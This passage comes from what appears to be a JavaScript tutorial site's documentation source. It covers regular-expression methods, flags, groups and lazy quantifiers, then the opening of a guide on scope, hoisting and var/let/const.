1 or more digits\nconst numbers = 'I have 42 apples and 7 oranges'\nconsole.log(numbers.match(/\\d+/g))  // [\"42\", \"7\"]\n```\n\n---\n\n## Building Blocks: Anchors\n\nAnchors match *positions* in the string, not characters.\n\n| Anchor | Position |\n|--------|----------|\n| `^` | Start of string (or line with `m` flag) |\n| `$` | End of string (or line with `m` flag) |\n| `\\b` | Word boundary |\n| `\\B` | Not a word boundary |\n\n```javascript\n// Must start with \"Hello\"\nconsole.log(/^Hello/.test('Hello World'))   // true\nconsole.log(/^Hello/.test('Say Hello'))     // false\n\n// Must end with a digit\nconsole.log(/\\d$/.test('Room 42'))   // true\nconsole.log(/\\d$/.test('42 rooms'))  // false\n\n// Word boundaries prevent partial matches\nconsole.log(/\\bcat\\b/.test('cat'))       // true\nconsole.log(/\\bcat\\b/.test('category'))  // false (cat is part of a larger word)\n```\n\n---\n\n## Methods for Using Regex\n\nJavaScript provides several methods for working with regular expressions:\n\n| Method | Returns | Use Case |\n|--------|---------|----------|\n| `regex.test(str)` | `true` or `false` | Simple validation |\n| `str.match(regex)` | Array or `null` | Find matches |\n| `str.matchAll(regex)` | Iterator | Find all matches with details |\n| `str.search(regex)` | Index or `-1` | Find position of first match |\n| `str.replace(regex, replacement)` | New string | Replace matches |\n| `str.split(regex)` | Array | Split by pattern |\n| `regex.exec(str)` | Match array or `null` | Detailed match info (stateful) |\n\n### test() — Simple Validation\n\n```javascript\nconst emailPattern = /\\S+@\\S+\\.\\S+/\n\nconsole.log(emailPattern.test('user@example.com'))  // true\nconsole.log(emailPattern.test('invalid-email'))     // false\n```\n\n### match() — Find Matches\n\n```javascript\nconst text = 'My numbers: 123, 456, 789'\n\n// Without 'g' flag: returns first match with details\nconsole.log(text.match(/\\d+/))\n// [\"123\", index: 12, input: \"My numbers: 123, 456, 789\"]\n\n// With 'g' flag: returns all matches\nconsole.log(text.match(/\\d+/g))\n// [\"123\", \"456\", \"789\"]\n```\n\n### matchAll() — All Matches with Details\n\nWhen you need all matches AND details (like captured groups), use `matchAll()`. It requires the `g` flag and returns an iterator:\n\n```javascript\nconst text = 'Call 555-1234 or 555-5678'\nconst pattern = /(\\d{3})-(\\d{4})/g\n\nfor (const match of text.matchAll(pattern)) {\n  console.log(`Found: ${match[0]}, Prefix: ${match[1]}, Number: ${match[2]}`)\n}\n// \"Found: 555-1234, Prefix: 555, Number: 1234\"\n// \"Found: 555-5678, Prefix: 555, Number: 5678\"\n```\n\n### search() — Find Position\n\n```javascript\nconst text = 'Hello World'\nconsole.log(text.search(/World/))  // 6 (index where match starts)\nconsole.log(text.search(/xyz/))    // -1 (not found)\n```\n\n### replace() — Replace Matches\n\n```javascript\n// Replace first occurrence\nconsole.log('hello world'.replace(/o/, '0'))\n// \"hell0 world\"\n\n// Replace all occurrences (with 'g' flag)\nconsole.log('hello world'.replace(/o/g, '0'))\n// \"hell0 w0rld\"\n\n// Use captured groups in replacement\nconsole.log('John Smith'.replace(/(\\w+) (\\w+)/, '$2, $1'))\n// \"Smith, John\"\n```\n\n### split() — Split by Pattern\n\n```javascript\n// Split on one or more whitespace characters\nconst words = 'hello   world  foo'.split(/\\s+/)\nconsole.log(words)  // [\"hello\", \"world\", \"foo\"]\n\n// Split on commas with optional spaces\nconst items = 'a, b,c , d'.split(/\\s*,\\s*/)\nconsole.log(items)  // [\"a\", \"b\", \"c\", \"d\"]\n```\n\n### exec() — Detailed Match Info\n\n`exec()` is similar to `match()` but is called on the regex. With the `g` flag, calling it repeatedly finds the next match each time:\n\n```javascript\nconst pattern = /\\d+/g\nconst text = 'a1b22c333'\n\nconsole.log(pattern.exec(text))  // [\"1\", index: 1]\nconsole.log(pattern.exec(text))  // [\"22\", index: 3]\nconsole.log(pattern.exec(text))  // [\"333\", index: 6]\nconsole.log(pattern.exec(text))  // null (no more matches)\n```\n\n---\n\n## Flags\n\nFlags modify how the pattern matches. Add them after the closing slash.\n\n| Flag | Name | Effect |\n|------|------|--------|\n| `g` | Global | Find all matches, not just the first |\n| `i` | Case-insensitive | `a` matches `A` |\n| `m` | Multiline | `^` and `$` match at each line's start/end |\n| `s` | DotAll | `.` matches newlines too |\n\n```javascript\n// Case-insensitive matching\nconsole.log(/hello/i.test('HELLO'))  // true\n\n// Global: find all matches\nconsole.log('abcabc'.match(/a/g))   // [\"a\", \"a\"]\nconsole.log('abcabc'.match(/a/))    // [\"a\", index: 0, input: \"abcabc\", ...] (first match with details)\n\n// Multiline: ^ and $ match each line\nconst multiline = 'line1\\nline2\\nline3'\nconsole.log(multiline.match(/^line\\d/gm))  // [\"line1\", \"line2\", \"line3\"]\n```\n\n---\n\n## Capturing Groups\n\nParentheses `()` create **capturing groups** that let you extract parts of a match.\n\n```javascript\n// Extract area code and number separately\nconst phonePattern = /\\((\\d{3})\\) (\\d{3}-\\d{4})/\nconst match = '(555) 123-4567'.match(phonePattern)\n\nconsole.log(match[0])  // \"(555) 123-4567\" (full match)\nconsole.log(match[1])  // \"555\" (first group)\nconsole.log(match[2])  // \"123-4567\" (second group)\n```\n\n### Named Groups\n\nUse `(?<name>pattern)` to give groups meaningful names. Named groups were introduced in ES2018 and are documented on [MDN's groups and backreferences page](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions/Groups_and_backreferences):\n\n```javascript\nconst datePattern = /(?<month>\\d{2})-(?<day>\\d{2})-(?<year>\\d{4})/\nconst match = '12-25-2024'.match(datePattern)\n\nconsole.log(match.groups.month)  // \"12\"\nconsole.log(match.groups.day)    // \"25\"\nconsole.log(match.groups.year)   // \"2024\"\n```\n\n### Using Groups in Replace\n\nReference captured groups with `$1`, `$2`, etc. (or `$<name>` for named groups):\n\n```javascript\n// Reformat date from MM-DD-YYYY to YYYY/MM/DD\nconst date = '12-25-2024'\nconst reformatted = date.replace(\n  /(\\d{2})-(\\d{2})-(\\d{4})/,\n  '$3/$1/$2'\n)\nconsole.log(reformatted)  // \"2024/12/25\"\n```\n\n---\n\n## The #1 Regex Mistake: Greedy vs Lazy\n\nBy default, quantifiers are **greedy**. They match as much as possible. Add `?` to make them **lazy** (match as little as possible).\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                          GREEDY VS LAZY                                  │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   String: \"<div>Hello</div><div>World</div>\"                             │\n│                                                                          │\n│   GREEDY: /<div>.*<\\/div>/        LAZY: /<div>.*?<\\/div>/               │\n│   Matches: \"<div>Hello</div>      Matches: \"<div>Hello</div>\"           │\n│            <div>World</div>\"                                             │\n│   (Everything from first          (Just the first div)                   │\n│    <div> to LAST </div>)                                                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\nconst html = '<div>Hello</div><div>World</div>'\n\n// Greedy: matches everything between first <div> and LAST </div>\nconsole.log(html.match(/<div>.*<\\/div>/)[0])\n// \"<div>Hello</div><div>World</div>\"\n\n// Lazy: stops at first </div>\nconsole.log(html.match(/<div>.*?<\\/div>/)[0])\n// \"<div>Hello</div>\"\n```\n\n<Tip>\n**Rule of Thumb:** When matching content between delimiters (like HTML tags, quotes, or brackets), prefer lazy quantifiers (`*?`, `+?`) to avoid matching too much.\n</Tip>\n\n---\n\n## Common Patterns\n\nHere are some practical patterns you can use in your projects:\n\n```javascript\n// Email (basic validation)\nconst email = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/\nconsole.log(email.test('user@example.com'))  // true\n\n// URL\nconst url = /^https?:\\/\\/[^\\s]+$/\nconsole.log(url.test('https://example.com/path'))  // true\n\n// Phone (US format: 123-456-7890 or (123) 456-7890)\nconst phone = /^(\\(\\d{3}\\)|\\d{3})[-.\\s]?\\d{3}[-.\\s]?\\d{4}$/\nconsole.log(phone.test('(555) 123-4567'))  // true\nconsole.log(phone.test('555-123-4567'))    // true\n\n// Username (alphanumeric, 3-16 chars)\nconst username = /^[a-zA-Z0-9_]{3,16}$/\nconsole.log(username.test('john_doe123'))  // true\n```\n\n<Warning>\n**Don't go overboard.** Regex is great for pattern matching, but it's not always the best tool. For complex validation like email addresses (which have a surprisingly complex spec), consider using a dedicated validation library. The email regex above works for most cases but won't catch every edge case.\n</Warning>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Regex = patterns for strings** — They describe what you're looking for, not literal text\n\n2. **Two ways to create** — `/pattern/` literals or `new RegExp('pattern')`\n\n3. **Character classes** — `\\d` (digits), `\\w` (word chars), `\\s` (whitespace), `.` (any)\n\n4. **Quantifiers** — `*` (0+), `+` (1+), `?` (0-1), `{n,m}` (specific range)\n\n5. **Anchors** — `^` (start), `$` (end), `\\b` (word boundary)\n\n6. **test() for validation** — Returns true/false\n\n7. **match() for extraction** — Returns matches or null\n\n8. **Flags change behavior** — `g` (global), `i` (case-insensitive), `m` (multiline)\n\n9. **Groups capture parts** — Use `()` to extract portions of matches\n\n10. **Greedy vs lazy** — Add `?` after quantifiers to match minimally\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between /pattern/ and new RegExp('pattern')?\">\n    **Answer:**\n    \n    Both create a regex object, but they differ in when to use them:\n    \n    - **Literal `/pattern/`** — Use for static patterns known at write time. The pattern is compiled when the script loads.\n    - **`new RegExp('pattern')`** — Use for dynamic patterns built at runtime (e.g., from user input). Remember to escape backslashes: `new RegExp('\\\\d+')`.\n    \n    ```javascript\n    // Static pattern - use literal\n    const digits = /\\d+/\n    \n    // Dynamic pattern - use constructor\n    const searchTerm = 'hello'\n    const dynamic = new RegExp(searchTerm, 'gi')\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does \\b match?\">\n    **Answer:**\n    \n    `\\b` matches a **word boundary** — the position between a word character (`\\w`) and a non-word character. It doesn't match any actual character; it matches a position.\n    \n    ```javascript\n    // \\b prevents partial matches\n    console.log(/\\bcat\\b/.test('cat'))       // true\n    console.log(/\\bcat\\b/.test('category'))  // false\n    console.log(/\\bcat\\b/.test('the cat'))   // true\n    ```\n    \n    Word boundaries are useful when you want to match whole words only.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you make a quantifier lazy?\">\n    **Answer:**\n    \n    Add a `?` after the quantifier to make it lazy (non-greedy):\n    \n    - `*?` — Match 0 or more, as few as possible\n    - `+?` — Match 1 or more, as few as possible\n    - `??` — Match 0 or 1, preferring 0\n    - `{n,m}?` — Match between n and m, as few as possible\n    \n    ```javascript\n    const text = '<b>bold</b> and <b>more bold</b>'\n    \n    // Greedy: matches everything between first <b> and last </b>\n    text.match(/<b>.*<\\/b>/)[0]   // \"<b>bold</b> and <b>more bold</b>\"\n    \n    // Lazy: matches just the first <b>...</b>\n    text.match(/<b>.*?<\\/b>/)[0]  // \"<b>bold</b>\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the difference between match() with and without the g flag?\">\n    **Answer:**\n    \n    - **Without `g`**: Returns first match with full details (captured groups, index, input)\n    - **With `g`**: Returns array of all matches (just the matched strings, no details)\n    \n    ```javascript\n    const text = 'cat and cat'\n    \n    // Without g: detailed info about first match\n    text.match(/cat/)\n    // [\"cat\", index: 0, input: \"cat and cat\"]\n    \n    // With g: all matches, no details\n    text.match(/cat/g)\n    // [\"cat\", \"cat\"]\n    ```\n    \n    Use `matchAll()` if you need both all matches AND details for each.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you reference a captured group in a replacement string?\">\n    **Answer:**\n    \n    Use `$1`, `$2`, etc. for numbered groups, or `$<name>` for named groups:\n    \n    ```javascript\n    // Numbered groups\n    'John Smith'.replace(/(\\w+) (\\w+)/, '$2, $1')\n    // \"Smith, John\"\n    \n    // Named groups\n    '2024-12-25'.replace(\n      /(?<year>\\d{4})-(?<month>\\d{2})-(?<day>\\d{2})/,\n      '$<month>/$<day>/$<year>'\n    )\n    // \"12/25/2024\"\n    \n    // $& references the entire match\n    'hello'.replace(/\\w+/, '[$&]')\n    // \"[hello]\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you match special regex characters literally?\">\n    **Answer:**\n    \n    Escape special characters with a backslash `\\`. Characters that need escaping: `. * + ? ^ $ { } [ ] \\ | ( )` and `/` in literal syntax\n    \n    ```javascript\n    // Match a literal period\n    /\\./.test('file.txt')       // true\n    /\\./.test('filetxt')        // false\n    \n    // Match a literal dollar sign\n    /\\$\\d+/.test('$100')        // true\n    \n    // When using RegExp constructor, double-escape\n    new RegExp('\\\\d+\\\\.\\\\d+')   // matches \"3.14\"\n    ```\n    \n    For dynamic patterns from user input, escape all special chars:\n    \n    ```javascript\n    function escapeRegex(string) {\n      return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&')\n    }\n    \n    const userInput = 'hello.world'\n    const pattern = new RegExp(escapeRegex(userInput))\n    pattern.test('hello.world')  // true\n    pattern.test('helloXworld')  // false\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are regular expressions in JavaScript?\">\n    Regular expressions (regex) are patterns used to match character combinations in strings. In JavaScript, they are objects created with the `/pattern/flags` literal or the `RegExp` constructor. They power methods like `test()`, `match()`, `replace()`, and `split()` for searching, validating, and transforming text.\n  </Accordion>\n\n  <Accordion title=\"When should I use the RegExp constructor vs literal syntax?\">\n    Use literal syntax (`/pattern/`) for static patterns known at write time — it's compiled when the script loads and is more readable. Use the `RegExp` constructor when patterns are built dynamically from variables or user input. As [MDN notes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions), literal regex offer a slight performance advantage because they are compiled once at load time.\n  </Accordion>\n\n  <Accordion title=\"What does the g flag do in regex?\">\n    The `g` (global) flag tells the regex engine to find all matches in the string instead of stopping after the first. Without `g`, methods like `match()` return only the first match with capture groups. With `g`, `match()` returns an array of all matches but without group details. Use `matchAll()` (ES2020) to get all matches with full group information.\n  </Accordion>\n\n  <Accordion title=\"What are named capture groups in JavaScript regex?\">\n    Named capture groups, introduced in ES2018, let you assign names to capture groups using `(?<name>pattern)` syntax. Instead of accessing matches by index (`match[1]`), you access them by name (`match.groups.name`). This makes regex code more readable and resilient to pattern changes. The [ECMAScript specification](https://tc39.es/ecma262/#prod-GroupSpecifier) defines the full syntax.\n  </Accordion>\n\n  <Accordion title=\"How do I avoid common regex performance problems?\">\n    Avoid catastrophic backtracking by limiting the use of nested quantifiers like `(a+)+`. Use atomic groups or possessive quantifiers where supported. Keep patterns as specific as possible — `/\\d{3}/` is faster than `/\\d+/` when you know the exact length. For complex validation, consider splitting the task into multiple simpler regex checks rather than one monolithic pattern.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive Types\" icon=\"cube\" href=\"/concepts/primitive-types\">\n    Strings are one of JavaScript's primitive types\n  </Card>\n  <Card title=\"Map, Reduce, Filter\" icon=\"filter\" href=\"/concepts/map-reduce-filter\">\n    Process arrays of matches from regex operations\n  </Card>\n  <Card title=\"Error Handling\" icon=\"triangle-exclamation\" href=\"/concepts/error-handling\">\n    Invalid regex patterns throw SyntaxError\n  </Card>\n  <Card title=\"Clean Code\" icon=\"broom\" href=\"/concepts/clean-code\">\n    Write maintainable regex with comments and named groups\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Regular Expressions — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions\">\n    Comprehensive MDN guide covering all regex syntax and features\n  </Card>\n  <Card title=\"RegExp Object — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp\">\n    Reference for the RegExp constructor, methods, and properties\n  </Card>\n  <Card title=\"String.prototype.match() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match\">\n    Documentation for the match() method\n  </Card>\n  <Card title=\"String.prototype.replace() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace\">\n    Documentation for the replace() method\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Regular Expressions — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/regular-expressions\">\n    Multi-chapter deep dive covering every regex feature with interactive examples. The go-to tutorial for learning regex thoroughly.\n  </Card>\n  <Card title=\"Learn Regex the Easy Way\" icon=\"newspaper\" href=\"https://github.com/ziishaned/learn-regex\">\n    Visual cheatsheet with clear examples for each pattern type. Great reference when you forget specific syntax. 46k+ GitHub stars.\n  </Card>\n  <Card title=\"Regular Expressions — Eloquent JavaScript\" icon=\"newspaper\" href=\"https://eloquentjavascript.net/09_regexp.html\">\n    Chapter from the classic free JavaScript book. Explains the theory and mechanics behind regex with elegant examples.\n  </Card>\n  <Card title=\"A Practical Guide to Regular Expressions\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/practical-regex-guide-with-real-life-examples/\">\n    Hands-on freeCodeCamp guide focused on real-world use cases like log parsing, file renaming, and form validation.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Learn Regular Expressions In 20 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=rhzKDrUiJVk\">\n    Web Dev Simplified covers all the essentials without filler. Great if you want to learn regex quickly and start using it.\n  </Card>\n  <Card title=\"Regular Expressions (Regex) in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=909NfO1St0A\">\n    Fireship's fast-paced 100 seconds style overview. Perfect for a quick refresher or introduction to what regex can do.\n  </Card>\n  <Card title=\"JavaScript Regex — Programming with Mosh\" icon=\"video\" href=\"https://www.youtube.com/watch?v=VrT3TRDDE4M\">\n    Mosh Hamedani's beginner-friendly walkthrough with practical JavaScript examples you can follow along with.\n  </Card>\n</CardGroup>\n\n## Tools\n\n<CardGroup cols={2}>\n  <Card title=\"regex101\" icon=\"flask\" href=\"https://regex101.com/\">\n    Interactive regex tester with real-time explanation of your pattern. Shows match groups, explains each part, and lets you test against sample text.\n  </Card>\n  <Card title=\"RegExr\" icon=\"wand-magic-sparkles\" href=\"https://regexr.com/\">\n    Visual regex editor with community patterns and a helpful cheatsheet sidebar. Great for learning and building patterns.\n  </Card>\n  <Card title=\"Regexlearn\" icon=\"graduation-cap\" href=\"https://regexlearn.com/\">\n    Interactive step-by-step tutorial that teaches regex through practice. Gamified learning with progressive difficulty.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/scope-and-closures.mdx",
    "content": "---\ntitle: \"Scope & Closures\"\nsidebarTitle: \"Scope and Closures: How Variables Really Work\"\ndescription: \"Learn JavaScript scope and closures. Understand the three types of scope, var vs let vs const, lexical scoping, the scope chain, and closure patterns for data privacy.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"JavaScript Fundamentals\"\n\"article:tag\": \"javascript closures, javascript scope, var let const, lexical scope, scope chain, closure patterns\"\n---\n\nWhy can some variables be accessed from anywhere in your code, while others seem to disappear? How do functions \"remember\" variables from their parent functions, even after those functions have finished running?\n\n```javascript\nfunction createCounter() {\n  let count = 0  // This variable is \"enclosed\"\n  \n  return function() {\n    count++\n    return count\n  }\n}\n\nconst counter = createCounter()\nconsole.log(counter())  // 1\nconsole.log(counter())  // 2 — it remembers!\n```\n\nThe answers lie in understanding **scope** and **closures**. These two fundamental concepts govern how variables work in JavaScript. Scope determines *where* variables are visible, while closures allow functions to *remember* their original environment.\n\n<Info>\n**What you'll learn in this guide:**\n- The 3 types of scope: global, function, and block\n- How [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var), [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) behave differently\n- What lexical scope means and how the scope chain works\n- What closures are and why every JavaScript developer must understand them\n- Practical patterns: data privacy, factories, and memoization\n- The classic closure gotchas and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisite:** This guide builds on your understanding of the [call stack](/concepts/call-stack). Knowing how JavaScript tracks function execution will help you understand how scope and closures work under the hood.\n</Warning>\n\n---\n\n## What is Scope in JavaScript?\n\n**[Scope](https://developer.mozilla.org/en-US/docs/Glossary/Scope)** is the current context of execution in which values and expressions are \"visible\" or can be referenced. It's the set of rules that determines where and how variables can be accessed in your code. If a variable is not in the current scope, it cannot be used. Scopes can be nested, and inner scopes have access to outer scopes, but not vice versa.\n\n---\n\n## The Office Building Analogy\n\nImagine it's after hours and you're wandering through your office building (legally, you work there, promise). You notice something interesting about what you can and can't see:\n\n- **Inside your private office**, you can see everything on your desk, peek into the hallway through your door, and even see the lobby through the glass walls\n- **In the hallway**, you can see the lobby clearly, but those private offices? Their blinds are shut. No peeking allowed\n- **In the lobby**, you're limited to just what's there: the reception desk, some chairs, maybe a sad-looking plant\n\n```\n┌─────────────────────────────────────────────────────────────┐\n│ LOBBY (Global Scope)                                        │\n│   reception = \"Welcome Desk\"                                │\n│                                                             │\n│   ┌───────────────────────────────────────────────────┐     │\n│   │ HALLWAY (Function Scope)                          │     │\n│   │   hallwayPlant = \"Fern\"                           │     │\n│   │                                                   │     │\n│   │   ┌───────────────────────────────────────┐       │     │\n│   │   │ PRIVATE OFFICE (Block Scope)          │       │     │\n│   │   │   secretDocs = \"Confidential\"         │       │     │\n│   │   │                                       │       │     │\n│   │   │   Can see: secretDocs      ✓          │       │     │\n│   │   │   Can see: hallwayPlant    ✓          │       │     │\n│   │   │   Can see: reception       ✓          │       │     │\n│   │   └───────────────────────────────────────┘       │     │\n│   │                                                   │     │\n│   │   Cannot see: secretDocs       ✗                  │     │\n│   └───────────────────────────────────────────────────┘     │\n│                                                             │\n│   Cannot see: hallwayPlant, secretDocs  ✗                   │\n└─────────────────────────────────────────────────────────────┘\n```\n\nThis is exactly how **scope** works in JavaScript! Code in inner scopes can \"look out\" and access variables from outer scopes, but outer scopes can never \"look in\" to inner scopes.\n\nAnd here's where it gets really interesting: imagine someone who worked in that private office quits and leaves the building. But they took a mental snapshot of everything in there: the passwords on sticky notes, the secret project plans, the snack drawer location. Even though they've left, they still *remember* everything. That's essentially what a **closure** is: a function that \"remembers\" the scope where it was created, even after that scope is gone.\n\n### Why Does Scope Exist?\n\nScope exists for three critical reasons:\n\n<AccordionGroup>\n  <Accordion title=\"1. Preventing Naming Conflicts\">\n    Without scope, every variable would be global. Imagine the chaos if every `i` in every `for` loop had to have a unique name!\n    \n    ```javascript\n    function countApples() {\n      let count = 0;  // This 'count' is separate...\n      // ...\n    }\n    \n    function countOranges() {\n      let count = 0;  // ...from this 'count'\n      // ...\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Memory Management\">\n    When a scope ends, variables declared in that scope can be [garbage collected](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection) (cleaned up from memory). This keeps your program efficient.\n    \n    ```javascript\n    function processData() {\n      let hugeArray = new Array(1000000);  // Takes memory\n      // ... process it\n    }  // hugeArray can now be garbage collected\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Encapsulation & Security\">\n    Scope allows you to hide implementation details and protect data from being accidentally modified.\n    \n    ```javascript\n    function createBankAccount() {\n      let balance = 0;  // Private! Can't be accessed directly\n      \n      return {\n        deposit(amount) { balance += amount; },\n        getBalance() { return balance; }\n      };\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## The Three Types of Scope\n\nJavaScript has three main types of scope. Understanding each one is fundamental to writing predictable code.\n\n<Note>\nES6 modules also introduce **module scope**, where top-level variables are scoped to the module rather than being global. Learn more in our [IIFE, Modules and Namespaces](/concepts/iife-modules) guide.\n</Note>\n\n### 1. Global Scope\n\nVariables declared outside of any function or block are in the **global scope**. They're accessible from anywhere in your code.\n\n```javascript\n// Global scope\nconst appName = \"MyApp\";\nlet userCount = 0;\n\nfunction greet() {\n  console.log(appName);  // ✓ Can access global variable\n  userCount++;           // ✓ Can modify global variable\n}\n\nif (true) {\n  console.log(appName);  // ✓ Can access global variable\n}\n```\n\n#### The Global Object\n\nIn browsers, global variables become properties of the [`window`](https://developer.mozilla.org/en-US/docs/Web/API/Window) object. In Node.js, they attach to `global`. The modern, universal way to access the global object is [`globalThis`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis).\n\n```javascript\nvar oldSchool = \"I'm on window\";      // window.oldSchool (var only)\nlet modern = \"I'm NOT on window\";      // NOT on window\n\nconsole.log(window.oldSchool);         // \"I'm on window\"\nconsole.log(window.modern);            // undefined\nconsole.log(globalThis);               // Works everywhere\n```\n\n<Warning>\n**Avoid Global Pollution!** Too many global variables lead to naming conflicts, hard-to-track bugs, and code that's difficult to maintain. Keep your global scope clean.\n\n```javascript\n// Bad: Polluting global scope\nvar userData = {};\nvar settings = {};\nvar helpers = {};\n\n// Good: Use a single namespace\nconst MyApp = {\n  userData: {},\n  settings: {},\n  helpers: {}\n};\n```\n</Warning>\n\n---\n\n### 2. Function Scope\n\nVariables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) inside a function are **function-scoped**. They're only accessible within that function.\n\n```javascript\nfunction calculateTotal() {\n  var subtotal = 100;\n  var tax = 10;\n  var total = subtotal + tax;\n  \n  console.log(total);  // ✓ 110\n}\n\ncalculateTotal();\n// console.log(subtotal);  // ✗ ReferenceError: subtotal is not defined\n```\n\n#### var Hoisting\n\nVariables declared with `var` are \"hoisted\" to the top of their function. This means JavaScript knows about them before the code runs, but they're initialized as `undefined` until the actual declaration line.\n\n```javascript\nfunction example() {\n  console.log(message);  // undefined (not an error!)\n  var message = \"Hello\";\n  console.log(message);  // \"Hello\"\n}\n\n// JavaScript interprets this as:\nfunction exampleHoisted() {\n  var message;           // Declaration hoisted to top\n  console.log(message);  // undefined\n  message = \"Hello\";     // Assignment stays in place\n  console.log(message);  // \"Hello\"\n}\n```\n\n<Tip>\n**Hoisting Visualization:**\n\n```\nYour code:                    How JS sees it:\n┌─────────────────────┐       ┌─────────────────────┐\n│ function foo() {    │       │ function foo() {    │\n│                     │       │   var x;  // hoisted│\n│   console.log(x);   │  ──►  │   console.log(x);   │\n│   var x = 5;        │       │   x = 5;            │\n│ }                   │       │ }                   │\n└─────────────────────┘       └─────────────────────┘\n```\n</Tip>\n\n---\n\n### 3. Block Scope\n\nVariables declared with [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) and [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) are **block-scoped**. A block is any code within curly braces `{}`: if statements, for loops, while loops, or just standalone blocks.\n\n```javascript\nif (true) {\n  let blockLet = \"I'm block-scoped\";\n  const blockConst = \"Me too\";\n  var functionVar = \"I escape the block!\";\n}\n\n// console.log(blockLet);    // ✗ ReferenceError\n// console.log(blockConst);  // ✗ ReferenceError\nconsole.log(functionVar);    // ✓ \"I escape the block!\"\n```\n\n#### The Temporal Dead Zone (TDZ)\n\nUnlike `var`, variables declared with `let` and `const` are not initialized until their declaration is evaluated. Accessing them before declaration causes a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). This period is called the **Temporal Dead Zone**.\n\n```javascript\nfunction demo() {\n  // TDZ for 'name' starts here\n  \n  console.log(name);  // ReferenceError: Cannot access 'name' before initialization\n  \n  let name = \"Alice\"; // TDZ ends here\n  \n  console.log(name);  // \"Alice\"\n}\n```\n\n```\n┌────────────────────────────────────────────────────────────┐\n│                                                            │\n│   function demo() {                                        │\n│                                                            │\n│     ┌────────────────────────────────────────────────┐     │\n│     │           TEMPORAL DEAD ZONE                   │     │\n│     │                                                │     │\n│     │   'name' exists but cannot be accessed yet!    │     │\n│     │                                                │     │\n│     │   console.log(name);  // ReferenceError        │     │\n│     │                                                │     │\n│     └────────────────────────────────────────────────┘     │\n│                           │                                │\n│                           ▼                                │\n│     let name = \"Alice\";   // TDZ ends here                 │\n│                                                            │\n│     console.log(name);    // \"Alice\" - works fine!         │\n│                                                            │\n│   }                                                        │\n│                                                            │\n└────────────────────────────────────────────────────────────┘\n```\n\n<Note>\nThe TDZ exists to catch programming errors. It's actually a good thing! It prevents you from accidentally using variables before they're ready.\n</Note>\n\n---\n\n## var vs let vs const\n\nHere's a comprehensive comparison of the three variable declaration keywords:\n\n| Feature | `var` | `let` | `const` |\n|---------|-------|-------|---------|\n| **Scope** | Function | Block | Block |\n| **Hoisting** | Yes (initialized as `undefined`) | Yes (but TDZ) | Yes (but TDZ) |\n| **Redeclaration** | ✓ Allowed | ✗ Error | ✗ Error |\n| **Reassignment** | ✓ Allowed | ✓ Allowed | ✗ Error |\n| **Must Initialize** | No | No | Yes |\n\n<Tabs>\n  <Tab title=\"Redeclaration\">\n    ```javascript\n    // var allows redeclaration (can cause bugs!)\n    var name = \"Alice\";\n    var name = \"Bob\";     // No error, silently overwrites\n    console.log(name);    // \"Bob\"\n    \n    // let and const prevent redeclaration\n    let age = 25\n    // let age = 30      // SyntaxError: 'age' has already been declared\n    \n    const PI = 3.14\n    // const PI = 3.14159 // SyntaxError\n    ```\n  </Tab>\n  <Tab title=\"Reassignment\">\n    ```javascript\n    // var and let allow reassignment\n    var count = 1;\n    count = 2;           // ✓ Fine\n    \n    let score = 100;\n    score = 200;         // ✓ Fine\n    \n    // const prevents reassignment\n    const API_KEY = \"abc123\"\n    // API_KEY = \"xyz789\"  // TypeError: Assignment to 